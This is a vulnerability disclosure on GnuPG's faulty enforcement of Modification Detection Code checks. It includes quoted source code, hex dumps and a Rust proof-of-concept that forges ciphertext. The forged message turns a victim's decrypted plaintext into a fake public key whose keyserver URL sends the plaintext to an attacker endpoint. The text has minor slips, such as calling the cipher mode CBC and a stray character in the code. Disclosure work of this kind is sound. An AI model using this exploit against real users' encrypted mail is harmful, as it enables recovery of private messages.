Encrypted message malleability checks are incorrectly enforced causing plaintext recovery attacks

A flaw in GnuPG’s enforcement of integrity protections allows practical malleability of encrypted messages. Specifically, GnuPG violates specified requirements for Modification Detection Code (MDC) verification, permitting attackers to manipulate encrypted packets in ways that can lead to plaintext recovery attacks under realistic conditions.

Impact

A user might be tricked into decrypting and publishing a secret encrypted message, e.g. by changing packet types of a secret message to look like a public key packet.

Details

GnuPG defaults to using a MDC for proving integrity. RFC 9580 specifies the MDC format as:

Two constant octets with the values 0xD3 and 0x14 are appended to the plaintext. Then, the plaintext of the data to be encrypted is passed through the SHA-1 hash function. The input to the hash function is comprised of the prefix data described above and all of the plaintext, including the trailing constant octets 0xD3, 0x14. The 20 octets of the SHA-1 hash are then appended to the plaintext (after the constant octets 0xD3, 0x14) and encrypted along with the plaintext using the same CFB context. This trailing checksum is known as the Modification Detection Code (MDC).

During decryption, the plaintext data should be hashed with SHA-1, including the prefix data as well as the trailing constant octets 0xD3, 0x14, but excluding the last 20 octets containing the SHA-1 hash. The computed SHA-1 hash is then compared with the last 20 octets of plaintext. A mismatch of the hash indicates that the message has been modified and MUST be treated as a security problem. Any failure SHOULD be reported to the user.

GnuPG violates this requirement in two dangerous ways:

  1. Packets can be modified by an attacker to output a failure that appears harmless to the user, such as truncation, and
  2. it does not discard inputs known to be a security problem and continues processing the data.

In decrypt-data.c’s decrypt_data function, this code can set the return code to invalid packet when an irregular end-of-file was seen:

ed->buf = NULL;
if (dfx->eof_seen > 1)
    rc = gpg_error(GPG_ERR_INV_PACKET);

However, the code handling this return code in mainproc.c’s proc_encrypted function does not adequately handle this case:

result = decrypt_data (c->ctrl, c, pkt->pkt.encrypted, c->dek,
                       &compl_error);
// ...
} else if (!result || (gpg_err_code(result) == GPG_ERR_BAD_SIGNATURE
                       && !pkt->pkt.encrypted->aead_algo
                       && opt.ignore_mdc_error)) {
  /* All is fine or for an MDC message the MDC failed but the
   * --ignore-mdc-error option is active.  For compatibility
   * reasons we issue GOODMDC also for AEAD messages.  */
  write_status(STATUS_DECRYPTION_OKAY);
  if (opt.verbose > 1)
    log_info(_("decryption okay\n"));

  if (pkt->pkt.encrypted->aead_algo) {
    write_status(STATUS_GOODMDC);
    compliance_de_vs |= 4;
  } else if (pkt->pkt.encrypted->mdc_method && !result) {
    write_status(STATUS_GOODMDC);
    compliance_de_vs |= 4;
  } else
    log_info(_("WARNING: message was not integrity protected\n"));
} else if (gpg_err_code(result) == GPG_ERR_BAD_SIGNATURE
           || gpg_err_code(result) == GPG_ERR_TRUNCATED) {
  glo_ctrl.lasterr = result;
  log_error(_("WARNING: encrypted message has been manipulated!\n"));
  write_status(STATUS_BADMDC);
  write_status(STATUS_DECRYPTION_FAILED);
} else {
  if (gpg_err_code(result) == GPG_ERR_BAD_KEY
      || gpg_err_code(result) == GPG_ERR_CHECKSUM
      || gpg_err_code(result) == GPG_ERR_CIPHER_ALGO) {
    if (c->symkeys)
      write_status_text(STATUS_ERROR,
                        "symkey_decrypt.maybe_error"
                        " 11_BAD_PASSPHRASE");

    if (c->dek && *c->dek->s2k_cacheid != '') {
      if (opt.debug)
        log_debug("cleared passphrase cached with ID: %s\n",
                  c->dek->s2k_cacheid);
      passphrase_clear_cache(c->dek->s2k_cacheid);
    }
  }
  glo_ctrl.lasterr = result;
  write_status(STATUS_DECRYPTION_FAILED);
  log_error(_("decryption failed: %s\n"), gpg_strerror(result));
  /* Hmmm: does this work when we have encrypted using multiple
   * ways to specify the session key (symmmetric and PK). */
}

Additionally to that, since GnuPG utilizes buffered I/O, parsing of the decrypted plaintext is done before MDC checking, which an attacker can use for arriving at the same outcome as above, for example by compressing the encrypted packet plus a buffer, and cutting off the last few bytes of the encrypted text, which causes do_compress in compress.c to exit the entire program with a harmless-appearing error code while output is still written:

else if (zrc != Z_OK) {
    if (zs->msg)
        log_error("zlib deflate problem: %s\n", zs->msg);
    else
        log_error("zlib deflate problem: rc=%d\n", zrc);
    write_status_error("zlib.deflate", gpg_error(GPG_ERR_INTERNAL));
    g10_exit(2);
}

Attack scenario

Message malleability is usually not a likely impactful vulnerability, since a user would usually notice the change. However, since GnuPG handles PGP packets instead of just plaintext it allows the scenario described below.

Additionally, to perform a working malleation attack on AES-256-CFB, the attacker has to perform a known-plaintext attack since the ciphertext is XORed into the plaintext, but the predictable structure of PGP messages makes this practically exploitable. Successful exploitation could involve an attacker sending a manipulated message to the victim, the victim unknowingly decrypting the message, and handling the output as if it was a different plaintext.

Mallory is an attacker who either later gets access to an encrypted message, or as as an active MITM. Mallory’s goal is to decrypt an encrypted message that Alice encrypted for Bob.

Detailed steps to reproduce

In the interest of a timely disclosure, we cannot provide an refined end-to-end demonstration of the issue. However, under the following assumptions we can demonstrate relevant parts of the attack. In combination with the buggy code pointed out above, we believe that there is sufficient risk of a serious vulnerability to warrant investigation and fixes by GnuPG maintainers.

We assume that:

This encrypted data follows a recognizable structure:

Public-Key Encrypted Session Key Packet, old CTB, 2 header bytes + 94 bytes
    Version: 3
[...]

Sym. Encrypted and Integrity Protected Data Packet, new CTB, 2 header bytes + 126 bytes
│   Version: 1
│   Session key: 70739CD50B03B723FD9E8CBDAB2F2DE942F746F046BC9FD552B2F5CEC5E16696
│   Symmetric algo: AES-256
│   Decryption successful

│   00000000  d2                                                 CTB
│   00000001     7e                                              length
│   00000002        01                                           version
│   00000003           d7 cc f2 68 a8  c9 aa cd f3 db 5d 07 bd      ...h......]..
│   [...]

├── Compressed Data Packet, old CTB, 2 header bytes + indeterminate length
│   │   Algorithm: ZLIB
│   │ 
│   │   00000000  a3                                                 CTB
│   │   00000001     02                                              algo
│   │   00000002        78 9c 01 48 00 b7  ff cb 46 62 00 68 b7 04     x..H....Fb.h..
│   │   00000010  5a ba 6f 8a 86 9c 9c 93  8f bf ed e1 7b 79 54 28   Z.o.........{yT(
│   │   00000020  83 ac 84 9a fc 07 bd 9e  03 1b c8 b2 4a d6 76 16   ............J.v.
│   │   00000030  27 03 ce 3a f6 22 d0 15  c1 f5 31 2d 82 03 04 38   '..:."....1-...8
│   │   00000040  e9 db 54 08 68 63 a2 d0  85 8b 95 45 dd 32 60 18   ..T.hc.....E.2`.
│   │   00000050  ae f3 fb 21 f0                                     ...!.
│   │ 
│   └── Literal Data Packet, new CTB, 2 header bytes + 70 bytes
│           Format: Binary data
│           Timestamp: 2025-09-02 14:51:06 UTC
│           Content: "%OMITTED%"...

│           00000000  cb                                                 CTB
│           00000001     46                                              length
│           00000002        62                                           format
│           00000003           00                                        filename_len
│           00000004              68 b7 04 5a                            date
│           00000008                           ba 6f 8a 86 9c 9c 93 8f           .o......
│           00000010  bf ed e1 7b 79 54 28 83  ac 84 9a fc 07 bd 9e 03   ...{yT(.........
│           00000020  1b c8 b2 4a d6 76 16 27  03 ce 3a f6 22 d0 15 c1   ...J.v.'..:."...
│           00000030  f5 31 2d 82 03 04 38 e9  db 54 08 68 63 a2 d0 85   .1-...8..T.hc...
│           00000040  8b 95 45 dd 32 60 18 ae                            ..E.2`..

└── Modification Detection Code Packet, new CTB, 2 header bytes + 20 bytes
        Digest: D9A58F8A66FE5014C0188F5C05E81C2A9E6AB3C6
        Computed digest: D9A58F8A66FE5014C0188F5C05E81C2A9E6AB3C6
        Valid: true
      
        00000000  d3                                                 CTB
        00000001     14                                              length
        00000002        d9 a5 8f 8a 66 fe  50 14 c0 18 8f 5c 05 e8   digest
        00000010  1c 2a 9e 6a b3 c6

Of note here is that since we are working with AES-256-CBC, we can XOR into any 16-byte block of our choice, but the following 16 bytes will be random data. The block alignment is 18, since that is the prefix for the IV + 2 bytes for session key validation.

We can now prepare our known plaintext attack. By observing plaintexts of encrypted messages, the pattern becomes apparent:

00  a3                                                 CTB
01     02                                              algo
02        78 9c 01 48 00 b7  ff cb 46 62 00 68 b7 05     x..H....Fb.h..
10  a7 40 47 01 c3 ff 96 6a  91 58 6a fb 52 90 0c ba   [email protected]...
20  10 e3 ec 6e d4 fa 95 76  7b b8 03 32 74 c6 e5 71   ...n...v{..2t..q
30  05 b1 c8 ce 9e ee be d5  7d 6a 55 1c b6 b1 57 f9   ........}jU...W.
40  63 1d 98 ac 2f 58 15 9d  10 c6 cc b1 ed cf 96 49   c.../X.........I
50  09 2b 01 25 0b                                     .+.%.
---
00  a3                                                 CTB
01     02                                              algo
02        78 9c 01 48 00 b7  ff cb 46 62 00 68 b7 05     x..H....Fb.h..
10  e4 f8 27 bc 9c e0 16 d8  a4 3c 98 6f 82 58 f1 6a   ..'......<.o.X.j
20  11 6a 4f 21 b6 4c 02 a8  d5 78 ee 22 1c 8c 8c 22   .jO!.L...x."..."
30  3d b3 ad a6 63 80 05 95  e5 d3 5e c4 a5 6d 19 84   =...c.....^..m..
40  98 ac 15 e9 8e 19 e1 7c  48 f3 1d 51 f1 f1 e9 79   .......|H..Q...y
50  48 f7 b6 23 eb                                     H..#.
---
00  a3                                                 CTB
01     02                                              algo
02        78 9c 01 48 00 b7  ff cb 46 62 00 68 b7 05     x..H....Fb.h..
10  ee 91 d8 48 39 e3 db a3  fd 4e 5d dd 94 b6 4c 0c   ...H9....N]...L.
20  11 85 41 5e 75 b0 8d d1  ef 27 35 a3 3d 98 20 9b   ..A^u....'5.=. .
30  e8 cb 30 d2 9b f6 d1 db  3e 2a 23 0b 6f 5b 52 da   ..0.....>*#.o[R.
40  a1 4d ca e7 90 88 d0 8e  77 f0 d6 40 a2 62 74 e5   [email protected].
50  32 42 37 25 cd                                     2B7%.
---
00  a3                                                 CTB
01     02                                              algo
02        78 9c 01 48 00 b7  ff cb 46 62 00 68 b7 06     x..H....Fb.h..
10  01 7a 62 2f 38 4c bf d1  9d 31 2f a2 ac 0c 39 fd   .zb/8L...1/...9.
20  9e 8c d2 5b ee d0 dc 88  73 a1 58 56 d9 a0 8d 10   ...[....s.XV....
30  bf fe 6b 41 0a 91 20 d3  96 32 f4 17 7b 1f 55 5c   ..kA.. ..2..{.U
40  f3 09 a7 5e f5 92 63 a2  7c b8 31 5f d8 ef d3 f2   ...^..c.|.1_....
50  8f cb 00 24 18                                     ...$.

We can deduce that the plaintext of the packets is very stable on a3 02 78 9c 01 48 00 b7 ff cb 46 62 00 68 b7. This alone is not enough to do much damage, but is our entrypoint.

A payload can now be constructed, that:

Or, expressed in a bit more concrete notation:

Our known AES-CFB plaintext:

00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 # IV

?? ?? ?? ?? ?? ?? ?? ??  ?? ?? ?? ?? ?? ?? ?? ?? # "IV"
?? ??                                            # Protection bytes
      a3 02                                      # Use zlib
            78 9c 01 6c  00 93 ff cb 6a 62 00 68 # zlib header for c=100
b3 03
      ?? ?? ...                                  # zlib data

Effectively writable:

d2 NN 01                                         # SEIPv1 setup
?? ?? ?? ?? ?? ?? ?? ??  ?? ?? ?? ?? ?? ?? ?? ?? # "IV"
?? ??                                            # protection bytes
      a3 01                                      # comp pkt alg=DEFLATE
            00 NN NN ~N  ~N                      # DF store len=NN
                            d0 NN                # comment pkt len=NN
                                  00 00 00 00 00 # garbage till EoB
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 # reset IV
CT CT CT CT CT CT CT CT  CT CT CT CT CT CT CT CT # entire ciphertext
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 # pad 22B for MDC
[IOBUF EOF trampoline, pop decryption filter]
[DF store 0] [DF store 0] [DF store 0] [DF store 0] [...nop sled...]
[DF store [PGP public key until unhashed subpackets]]
[DF compressed [LengthDistance pointing to decrypted data in compression buffer]
[DF store [Rest of PGP public key]]

This method of exploitation somewhat works with GnuPG: Due to an implementation bug, the decompression of the packet fails when processed as an iobuf pipeline. This is an issue that could be worked around in the payload itself. To work around it, we use gpg --unwrap -o- | gpg to decrypt the packet, which buffers the entire compression buffer to stdin/out first. The payload also does not bypass the manipulation warning in the way described above for the same reason.

A payload like this then decrypts (as observed by gpg --unwrap) to:

Compressed Data Packet, old CTB, 2 header bytes + indeterminate length
│   Algorithm: ZIP

│   00000000  a3                                                 CTB
│   00000001     01                                              algo
│   00000002        00 a3 00 5c ff d0  a1 a1 a1 a1 a1 a1 8b 27     ............'
│   00000010  d1 84 ab f2 3b ab d3 5a  d9 9f 0e 9c 9c 6a 8f 23   ....;..Z.....j.#
│   [...]
│   00000170  00 a2 a1 18 68 74 74 70  3a 2f 2f 6c 6f 63 61 6c   ....http://local
│   00000180  68 6f 73 74 3a 39 39 39  39 2f 75 70 6c 6f 61 64   host:9999/upload
│   00000190  2d 6b 65 79 3f 78 3d 1a  d0 30 07 00 e6 03 19 fc   -key?x=..0......
│   000001a0  8c 5d 00 ff 42 0b d7 a1  c2 92 cc 4c c7 10 d0 8b   .]..B......L....
│   000001b0  67 3a 43 ef 3f 94 c6 31  1d f6 4c 41 b4 7d da a9   g:C.?..1..LA.}..
│   [...]
│   00000580  6b ce e1 08 6c 03 01 02  00 fd ff d0 00            k...l........

├── OpenPGP draft comment packet, new CTB, 2 header bytes + 161 bytes
│       Tag: Unknown Packet 16
│       Error: Unsupported packet type.  Tag: Unknown Packet 16

│       00000000  d0                                                 CTB
│       00000001     a1                                              length
│       00000002        a1 a1 a1 a1 a1 8b  27 d1 84 ab f2 3b ab d3     ......'....;..
│       00000010  5a d9 9f 0e 9c 9c 6a 8f  23 32 77 3e b0 23 ef a4   Z.....j.#2w>.#..
│       00000020  97 5b 2d 03 e4 ea 19 ea  19 a3 02 78 9c 01 48 00   .[-........x..H.
│       00000030  b7 ff cb 46 62 00 68 b3  53 2f 82 23 ae 35 fe a3   ...Fb.h.S/.#.5..
│       00000040  66 c7 97 26 8b 4c 24 79  e1 78 84 13 1f 6d cd 4d   f..&.L$y.x...m.M
│       00000050  08 77 9f 57 eb da ca 77  d8 85 b9 b3 b0 72 1c ea   .w.W...w.....r..
│       00000060  98 26 0f c7 9f f6 0d f3  5e 0e ab 82 44 7d ff 2c   .&......^...D}.,
│       00000070  2f e7 6e 5f a2 91 d6 7b  8d 4a e1 12 23 86 d3 14   /.n_...{.J..#...
│       00000080  46 b1 3f 5d 58 91 d1 6d  00 da 7a d4 1a 6d 7e ec   F.?]X..m..z..m~.
│       00000090  30 59 06 ee a3 a3 a3 a3  a3 a3 a3 a3 a3 a3 a3 a3   0Y..............
│       000000a0  a3 a3 a3                                           ...

├── Public-Key Packet, new CTB, 2 header bytes + 51 bytes
│       [...]

├── Signature Packet, new CTB, 3 header bytes + 371 bytes
│       Version: 4
│       Type: DirectKey
│       Pk algo: EdDSA
│       Hash algo: SHA512
│       Hashed area:
│         [...]
│       Unhashed area:
│         Preferred keyserver: "http://localhost:9999/upload-key?x=%OMITTED%"
│       Digest prefix: 8C5D
│       Level: 0 (signature over data)

│       00000000  c2                                                 CTB
│       00000001     c0 b3                                           length
│       00000003           04                                        version
│       [...]
│       0000008c                                       00 a2         unhashed_area_len
│       0000008e                                             a1      subpacket length
│       0000008f                                                18   subpacket tag
│       00000090  68 74 74 70 3a 2f 2f 6c  6f 63 61 6c 68 6f 73 74   pref key server
│       000000a0  3a 39 39 39 39 2f 75 70  6c 6f 61 64 2d 6b 65 79
│       000000b0  3f 78 3d 8f 23 32 77 3e  b0 23 ef a4 97 5b 2d 03
│       000000c0  e4 ea 19 ea 19 a3 02 78  9c 01 48 00 b7 ff cb 46
│       000000d0  62 00 68 b3 53 2f 82 23  ae 35 fe a3 66 c7 97 26
│       000000e0  8b 4c 24 79 e1 78 84 13  1f 6d cd 4d 08 77 9f 57
│       000000f0  eb da ca 77 d8 85 b9 b3  b0 72 1c ea 98 26 0f c7
│       00000100  9f f6 0d f3 5e 0e ab 82  44 7d ff 2c 2f e7 6e 5f
│       00000110  a2 91 d6 7b 8d 4a e1 12  23 86 d3 14 46 b1 3f 5d
│       00000120  58 91 d1 6d 00 da 7a d4  1a 6d 7e ec 30 59 06 ee
│       00000130  8c                                                 digest_prefix1
│       00000131     5d                                              digest_prefix2
│       00000132        00 ff                                        eddsa_sig_r_len
│       00000134              42 0b d7 a1  c2 92 cc 4c c7 10 d0 8b   eddsa_sig_r
│       00000140  67 3a 43 ef 3f 94 c6 31  1d f6 4c 41 b4 7d da a9
│       00000150  45 e9 8c 4c
│       00000154              00 fe                                  eddsa_sig_s_len
│       00000156                    30 85  30 6f d3 45 75 4d 4a 96   eddsa_sig_s
│       00000160  1f 05 b5 15 49 e3 73 10  e2 9c 9e 75 40 f1 0b 08
│       00000170  6b 46 6c aa c8 01

├── User ID Packet, new CTB, 2 header bytes + 7 bytes
│       Value: Mallory

│       00000000  cd                                                 CTB
│       00000001     07                                              length
│       00000002        4d 61 6c 6c 6f 72  79                        value

└── [...]

GnuPG parses it the same way:

# off=0 ctb=a3 tag=8 hlen=1 plen=0 indeterminate
:compressed packet: algo=1
# off=2 ctb=d0 tag=16 hlen=2 plen=161 new-ctb
:OpenPGP draft comment packet: "¡¡¡¡¡‹'ф«ò;«ÓZٟœœj#2w>°#珞[-äêê£xœH·ÿËFbh³S/‚#®5þ£fǗ&‹L$yáx„mÍMwŸWëÚÊw؅¹³°rê˜&ǟö
ó^«‚D}ÿ,/çn_¢‘Ö{Já#†ÓF±?]X‘ÑmÚzÔm~ì0Y£££££££££££££"
# off=165 ctb=c6 tag=6 hlen=2 plen=51 new-ctb
:public key packet:
        version 4, algo 22, created 1756825986, expires 0
        pkey[0]: [80 bits] ed25519 (1.3.6.1.4.1.11591.15.1)
        pkey[1]: [263 bits]
        keyid: FAE0D448DABC939C
# off=218 ctb=c2 tag=2 hlen=3 plen=371 new-ctb
:signature packet: algo 22, keyid FAE0D448DABC939C
        version 4, created 1756825986, md5len 0, sigclass 0x1f
        digest algo 10, begin of digest 8c 5d
        critical hashed subpkt 2 len 4 (sig created 2025-09-02)
        critical hashed subpkt 9 len 4 (key expires after 2y362d0h0m)
        hashed subpkt 11 len 2 (pref-sym-algos: 9 7)
        hashed subpkt 16 len 8 (issuer key ID FAE0D448DABC939C)
        hashed subpkt 20 len 70 (notation: [email protected]=[not human readable])
        hashed subpkt 21 len 2 (pref-hash-algos: 10 8)
        critical hashed subpkt 27 len 1 (key flags: 01)
        hashed subpkt 30 len 1 (features: 09)
        hashed subpkt 33 len 21 (issuer fpr v4 BDCD90FCBC64D23C56A3A0C1FAE0D448DABC939C)
        subpkt 24 len 160 (preferred keyserver: http://localhost:9999/upload-key?x=%OMITTED%)
        data: [255 bits]
        data: [254 bits]
# off=592 ctb=cd tag=13 hlen=2 plen=7 new-ctb
:user ID packet: "Mallory"

And when asked to sign the key, to upload it to a keyserver, or to refresh it from the preferred keyserver, the plaintext (which is a compressed packet, making it appear garbled, but that is the decrypted text!) is leaked.

The payload is generated with this code:

use std::env::args;
use deflate::encoder_state::EncoderState;
use deflate::lzvalue::{LZType, StoredLength};
use sequoia_openpgp::{Message, Packet, PacketPile};
use sequoia_openpgp::packet::{Signature, Tag, SEIP};
use sequoia_openpgp::packet::Body::Unprocessed;
use sequoia_openpgp::parse::Parse;
use hex_literal::hex;/
use sequoia_openpgp::cert::CertBuilder;
use sequoia_openpgp::packet::header::{BodyLength, CTBNew};
use sequoia_openpgp::packet::signature::subpacket::{Subpacket, SubpacketValue};
use sequoia_openpgp::serialize::{Marshal};
use sequoia_openpgp::types::{CompressionAlgorithm, SignatureType};

fn main() {
    let input_file = args().nth(1).expect("No valid input file");
    let message = Message::from_file(input_file).expect("Input file cannot be opened");
    let Some(Packet::SEIP(SEIP::V1(mut seip))) = message.packets().children().find(|x| x.tag() == Tag::SEIP).cloned() else { panic!("Invalid input") };
    let Unprocessed(ct) = seip.body().clone() else { panic!("wtf") };

    let ct_align_padding = 16 - ct.len() % 16;
    let mut out_pkgs = message.packets().children().filter(|x| x.tag() != Tag::SEIP).cloned().collect::<Vec<_>>();

    // head -c64 /dev/urandom | gpg -e -r online | sq packet dump --hex
    let mut pt_comp_gpg_reference = hex!(/*
        ├── Compressed Data Packet, old CTB, 2 header bytes + indeterminate length
        │   │   Algorithm: ZLIB
        │   │
        │   │   00000000 */" a3                                               "/*  CTB
        │   │   00000001 */"    02                                            "/*  algo
        │   │   00000002 */"       78 9c 01 48 00 b7  ff cb 46 62 00 68 b3 52 "/*    x....w...b.h./
    */);

    // 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 # IV
    // [implicit]
    // ?? ?? ?? ?? ?? ?? ?? ??  ?? ?? ?? ?? ?? ?? ?? ?? # "IV"
    // ?? ??                                            # Protection bytes
    //       a3 01                                      # comp pkt alg=DEFLATE
    //             00 NN NN ~N  ~N                      # DF store len=NN
    //                             d0 NN                # comment pkt len=NN
    //                                   00 00 00 00 00 # garbage
    // xx xx xx xx xx xx xx xx  xx xx xx xx xx xx xx xx # CFB write gadget
    // 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 # reset IV
    // CT CT CT CT CT CT CT CT  CT CT CT CT CT CT CT CT # entire ciphertext
    // [IOBUF EOF, pop decryption filter]
    // [DF store 0] [DF store 0] [DF store 0] [DF store 0] [...nop sled...]
    // [DF store]
    //     [PGP public key until unhashed subpackets]
    // [DF compressed]
    //     [LengthDistance pointing to decrypted data in compression buffer]
    // [DF store]
    //     [Rest of PGP public key]

    let mut xb_change = vec![];
    let mut xb_pt_crib = vec![];

    // ?? ?? ?? ?? ?? ?? ?? ??  ?? ?? ?? ?? ?? ?? ?? ?? # "IV"
    xb_pt_crib.append(&mut vec![0; 16]);
    xb_change.append(&mut vec![0; 16]);

    // ?? ??                                            # Protection bytes
    xb_pt_crib.append(&mut vec![0; 2]);
    xb_change.append(&mut vec![0; 2]);

    xb_pt_crib.append(&mut pt_comp_gpg_reference.to_vec());
    //       a3 01                                      # comp pkt alg=DEFLATE
    xb_change.push(pt_comp_gpg_reference[0]);
    xb_change.push(CompressionAlgorithm::Zip.into());

    // data packets start here
    let until_eob = 16 - (xb_change.len() % 16);
    let len_cur_pos = xb_change.len();
    let mut len = until_eob + 16 /*IV*/ + ct.len() + 0 /*MDC*/ + 16 /*EOF trampoline*/;
    let mut store_buf = vec![];

    //                             d0 NN                # comment pkt len=NN
    CTBNew::new(Tag::Unknown(16)).serialize(&mut store_buf).unwrap();
    BodyLength::Full((len - 5 - 2 - 1 /*EOF*/) as u32).serialize(&mut store_buf).unwrap();

    //             00 NN NN ~N  ~N                      # DF store len=NN
    let mut deflate_state = EncoderState::new(vec![]);
    deflate_state.set_huffman_to_fixed();
    store_buf.resize(len - 5 - 1 /*EOF*/, 0xa1);
    write_uncomp(&mut deflate_state, &mut store_buf, false);
    // deflate::stored_block::write_stored_header(&mut deflate_state.writer, false);
    // deflate::stored_block::compress_block_stored(&store_buf, &mut deflate_state.writer).unwrap();

    //-            00 NN NN ~N  ~N                      # DF store len=NN

    //                                   00 00 00 00 00 # garbage till EoB
    xb_change.append(&mut deflate_state.inner_vec()[0..until_eob].to_vec());

    // CFB write gadget
    let mut ct_mal = xb_change.iter()
        .zip(xb_pt_crib.iter())
        .zip(ct.iter())
        .map(|((a, b), c)| a ^ b ^ c)
        .collect::<Vec<_>>();

    assert_eq!(ct_mal.len() % 16, 0);

    // 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 # reset IV
    ct_mal.append(&mut vec![0; 16]);

    assert_eq!(ct_mal.len() % 16, 0);

    // CT CT CT CT CT CT CT CT  CT CT CT CT CT CT CT CT # entire ciphertext
    ct_mal.append(&mut ct.clone());

    // 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 # pad 22By for MDC
    ct_mal.append(&mut vec![0xa2; 22]);
    assert_eq!(len_cur_pos + len, ct_mal.len() + 16 /*trampoline*/ - 22 /*MDC*/);

    ct_mal.chunks(16).for_each(|x| println!("{:02x?}", x));

    seip.set_body(Unprocessed(ct_mal));
    out_pkgs.push(Packet::from(seip));

    let mut out_buf = vec![];

    PacketPile::from(out_pkgs).serialize(&mut out_buf).unwrap();

    // [IOBUF EOF trampoline, pop decryption filter]
    out_buf.append(&mut vec![0xa3; 16 - 1 /*eof*/]);
    let deflate_pos = deflate_state.inner_vec().len();

    // [DF store 0] [DF store 0] [DF store 0] [DF store 0] [...nop sled...]
    // for _ in 0..5 {
    //     // write_uncomp(&mut deflate_state, &mut vec![0xd0, 0], false);
    // }

    // [DF store [PGP public key until unhashed subpackets]]
    // [DF compressed [LengthDistance pointing to decrypted data in compression buffer]
    // [DF store [Rest of PGP public key]]

    len = ct.len();

    let mut pub_buf = vec![];
    let attacker_server = "http://localhost:9999/upload-key?x=";

    let (cert, _) = CertBuilder::general_purpose(["Mallory"]).generate().unwrap();
    cert.into_packets().map(|mut x| {
        if let Packet::Signature(Signature::V4(ref mut s)) = x && s.typ() == SignatureType::DirectKey {
            let mut placeholder = attacker_server.as_bytes().to_vec();
            placeholder.append(&mut vec![0; len]);
            s.unhashed_area_mut().add(Subpacket::new(SubpacketValue::PreferredKeyServer(placeholder), false).unwrap()).unwrap();
        }
        x
    }).collect::<PacketPile>().serialize(&mut pub_buf).unwrap();

    let pub_start = pub_buf.windows(attacker_server.len()).enumerate()
        .find(|(p, s)| attacker_server.as_bytes().eq(*s)).unwrap().0;

    let at_len = pub_start + attacker_server.len();

    // [DF store [PGP public key until unhashed subpackets]]

    write_uncomp(&mut deflate_state, &mut pub_buf[0..(at_len)].to_vec(), false);

    let cur_pos = deflate_state.inner_vec().len() as u16;

    // [DF store [PGP public key until unhashed subpackets]]

    deflate_state.write_start_of_block(true, false);
    deflate_state.write_lzvalue(LZType::StoredLengthDistance(
        StoredLength::new(len as u8 - 3),
        (ct.len() + at_len + 15 /*eof trampoline*/) as u16
    ));
    deflate_state.write_end_of_block();

    // [DF store [Rest of PGP public key]]

    write_uncomp(&mut deflate_state, &mut pub_buf[(pub_start + attacker_server.len() + len)..].to_vec(), false);

    write_uncomp(&mut deflate_state, &mut vec![0xd0, 0], true);

    out_buf.append(&mut deflate_state.inner_vec()[(deflate_pos)..].to_vec());

    out_buf.chunks(16).for_each(|x| println!("{:02x?}", x));
    std::fs::write("./result", out_buf).unwrap();

    fn write_uncomp(es: &mut EncoderState, buf: &mut Vec<u8>, fin: bool) {
        deflate::stored_block::write_stored_header(&mut es.writer, fin);
        deflate::stored_block::compress_block_stored(buf, &mut es.writer).unwrap();
    }
}
[package]
name = "enc-poc"
version = "0.1.0"
edition = "2024"

[dependencies]
sequoia-openpgp = "2.0.0"
reqwest = { version = "0.11", features = ["json", "blocking"] }
hex-literal = "1.0"
deflate = { git = "https://github.com/49016/deflate-rs-internals" }